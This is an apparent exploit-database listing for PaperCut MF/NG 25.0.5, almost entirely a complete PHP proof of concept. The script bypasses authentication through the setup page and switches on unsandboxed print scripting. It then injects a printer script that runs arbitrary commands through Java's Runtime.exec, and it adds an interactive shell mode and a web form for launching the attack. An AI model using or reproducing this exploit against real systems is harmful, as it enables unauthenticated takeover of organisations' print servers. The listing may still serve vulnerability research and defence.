PACKETSTORM

📄 PaperCut MF/NG 25.0.5 Authentication Bypass / Remote Code Execution_PACKETSTORM:215739

Description

A critical security vulnerability was discovered in version 25.0.5 of PaperCut MF/NG that allows attackers to bypass authentication and execute remote commands on the target system without requiring any credentials...
Visit Original Source

Basic Information

ID PACKETSTORM:215739
Published Feb 17, 2026 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : PaperCut MF/NG 25.0.5 Authentication Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.papercut.com/ |
=============================================================================================================================================

[+] Summary :

A critical security vulnerability was discovered in version 25.0.5 of PaperCut MF/NG
that allows attackers to bypass authentication and execute remote commands on the target system without requiring any credentials.

[+] POC : php poc.php

<?php

class PaperCutExploit {
private $target;
private $session;

public function __construct($target_url) {
$this->target = rtrim($target_url, '/');
$this->session = curl_init();

curl_setopt_array($this->session, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 30,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt'
]);
}

public function get_session_id() {
echo "[*] Attempting authentication bypass...\n";

$url = $this->target . '/app?service=page/SetupCompleted';

curl_setopt_array($this->session, [
CURLOPT_URL => $url,
CURLOPT_HTTPGET => true
]);

$response = curl_exec($this->session);

$post_data = [
'service' => 'direct/1/SetupCompleted/$Form',
'sp' => 'S0',
'Form0' => '$Hidden,analyticsEnabled,$Submit',
'$Hidden' => 'true',
'$Submit' => 'Login'
];

$headers = [
'Origin: ' . $this->target,
'Content-Type: application/x-www-form-urlencoded'
];

curl_setopt_array($this->session, [
CURLOPT_URL => $this->target . '/app',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_HTTPHEADER => $headers
]);

$response = curl_exec($this->session);
$http_code = curl_getinfo($this->session, CURLINFO_HTTP_CODE);

if ($http_code == 200 && strpos($response, 'papercut') !== false) {

$cookies = curl_getinfo($this->session, CURLINFO_COOKIELIST);
foreach ($cookies as $cookie) {
if (strpos($cookie, 'JSESSIONID') !== false) {
echo "[+] Authentication bypass successful! Obtained JSESSIONID\n";
return true;
}
}
}

echo "[-] Authentication bypass failed\n";
return false;
}

public function set_setting($setting, $enabled) {
echo "[*] Updating {$setting} to {$enabled}\n";

$post_data = [
'service' => 'direct/1/ConfigEditor/quickFindForm',
'sp' => 'S0',
'Form0' => '$TextField,doQuickFind,clear',
'$TextField' => $setting,
'doQuickFind' => 'Go'
];

$headers = [
'Origin: ' . $this->target,
'Content-Type: application/x-www-form-urlencoded'
];

curl_setopt_array($this->session, [
CURLOPT_URL => $this->target . '/app',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_HTTPHEADER => $headers
]);

$response = curl_exec($this->session);

$post_data = [
'service' => 'direct/1/ConfigEditor/$Form',
'sp' => 'S1',
'Form1' => '$TextField$0,$Submit,$Submit$0',
'$TextField$0' => $enabled,
'$Submit' => 'Update'
];

curl_setopt_array($this->session, [
CURLOPT_POSTFIELDS => http_build_query($post_data)
]);

$response = curl_exec($this->session);

if (strpos($response, 'Updated successfully') !== false) {
echo "[+] Setting updated successfully\n";
return true;
}

echo "[-] Failed to update setting\n";
return false;
}

public function execute_command($command) {
echo "[*] Preparing to execute command: {$command}\n";

$this->set_setting('print-and-device.script.enabled', 'Y');
$this->set_setting('print.script.sandboxed', 'N');

// Navigate to printer configuration
$steps = [
'/app?service=page/PrinterList',
'/app?service=direct/1/PrinterList/selectPrinter&sp=l1001',
'/app?service=direct/1/PrinterDetails/printerOptionsTab.tab&sp=4'
];

foreach ($steps as $step) {
curl_setopt_array($this->session, [
CURLOPT_URL => $this->target . $step,
CURLOPT_HTTPGET => true,
CURLOPT_POSTFIELDS => null
]);
curl_exec($this->session);
}

$script_body = "function printJobHook(inputs, actions) {}\r\n" .
"java.lang.Runtime.getRuntime().exec('{$command}');";

$post_data = [
'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form',
'sp' => 'S0',
'Form0' => 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1',
'printerId' => 'l1001',
'enablePrintScript' => 'on',
'scriptBody' => $script_body,
'$Submit$1' => 'Apply'
];

$headers = [
'Origin: ' . $this->target,
'Content-Type: application/x-www-form-urlencoded'
];

curl_setopt_array($this->session, [
CURLOPT_URL => $this->target . '/app',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_HTTPHEADER => $headers
]);

$response = curl_exec($this->session);

if (strpos($response, 'Saved successfully') !== false) {
echo "[+] Command executed successfully!\n";

$this->set_setting('print-and-device.script.enabled', 'N');
$this->set_setting('print.script.sandboxed', 'Y');

return true;
} else {
echo "[-] Command execution failed - printer might not be configured\n";
echo "[*] Try manually adding a printer in PaperCut admin interface\n";
return false;
}
}

public function exploit($command) {
if (!$this->get_session_id()) {
return false;
}

return $this->execute_command($command);
}

public function interactive_shell() {
echo "[+] Starting interactive shell. Type 'exit' to quit.\n";

while (true) {
echo "papercut> ";
$command = trim(fgets(STDIN));

if ($command === 'exit') {
break;
}

if (!empty($command)) {
$this->execute_command($command);
}
}
}

public function __destruct() {
if ($this->session) {
curl_close($this->session);
}
if (file_exists('cookies.txt')) {
unlink('cookies.txt');
}
}
}

if (php_sapi_name() === 'cli') {
echo "
██╗███╗ ██╗██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗██╗ ██╗ █████╗
██║████╗ ██║██╔══██╗██╔═══██╗██║ ██║██╔════╝██║ ██║██║ ██╔╝██╔══██╗
██║██╔██╗ ██║██ █╔╝██║ ██║██║ ██║███████╗███████║█████╔╝ ███████║
██║██║╚██╗██║██╔══██╗██║ ██║██║ ██║╚════██║██╔══██║██╔═██╗ ██╔══██║
██║██║ ╚████║██████╔╝╚██████╔╝╚██████╔╝███████║██║ ██║██║ ██╗██║ ██║
╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝

PaperCut MF/NG Unauthenticated RCE Exploit

By: indoushka
\n";

$options = getopt("u:c:ih", [
"url:",
"command:",
"interactive",
"help"
]);

if (isset($options['h']) || isset($options['help']) || $argc == 1) {
echo "Usage: php poc.php [options]\n";
echo "Options:\n";
echo " -u, --url Target URL (required)\n";
echo " -c, --command Command to execute\n";
echo " -i, --interactive Start interactive shell\n";
echo " -h, --help Show this help message\n";
echo "\nExamples:\n";
echo " php poc.php -u https://papercut.company.com -c 'whoami'\n";
echo " php poc.php -u http://192.168.1.100:9191 -c 'ipconfig'\n";
echo " php poc.php -u https://papercut.target.com -i\n";
exit(1);
}

if (!isset($options['u']) && !isset($options['url'])) {
echo "Error: Target URL is required\n";
exit(1);
}

$target = isset($options['u']) ? $options['u'] : $options['url'];
$command = isset($options['c']) ? $options['c'] : (isset($options['command']) ? $options['command'] : 'whoami');

$exploit = new PaperCutExploit($target);

if (isset($options['i']) || isset($options['interactive'])) {
if ($exploit->exploit('echo "Interactive shell started"')) {
$exploit->interactive_shell();
}
} else {
$exploit->exploit($command);
}

} else {

if (isset($_POST['exploit'])) {
$target = $_POST['target'] ?? '';
$command = $_POST['command'] ?? 'whoami';

if ($target) {
$exploit = new PaperCutExploit($target);

ob_start();
$result = $exploit->exploit($command);
$output = ob_get_clean();

echo "<pre>$output</pre>";
} else {
echo "<div style='color: red;'>Target URL is required</div>";
}
} else {
echo '<!DOCTYPE html>
<html>
<head>
<title>PaperCut RCE Exploit</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
.container { max-width: 600px; margin: 0 auto; }
.form-group { margin-bottom: 15px; }
label { display: block; margin-bottom: 5px; font-weight: bold; }
input[type="text"] {
width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px;
}
button {
background: #007cba; color: white; padding: 10px 20px;
border: none; border-radius: 4px; cursor: pointer;
}
</style>
</head>
<body>
<div class="container">
<h1>PaperCut MF/NG RCE Exploit</h1>
<form method="post">
<input type="hidden" name="exploit" value="1">

<div class="form-group">
<label for="target">Target URL:</label>
<input type="text" id="target" name="target" placeholder="https://papercut.company.com:9191" required>
</div>

<div class="form-group">
<label for="command">Command:</label>
<input type="text" id="command" name="command" value="whoami">
</div>

<button type="submit">Execute Exploit</button>
</form>
</div>
</body>
</html>';
}
}
?>

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.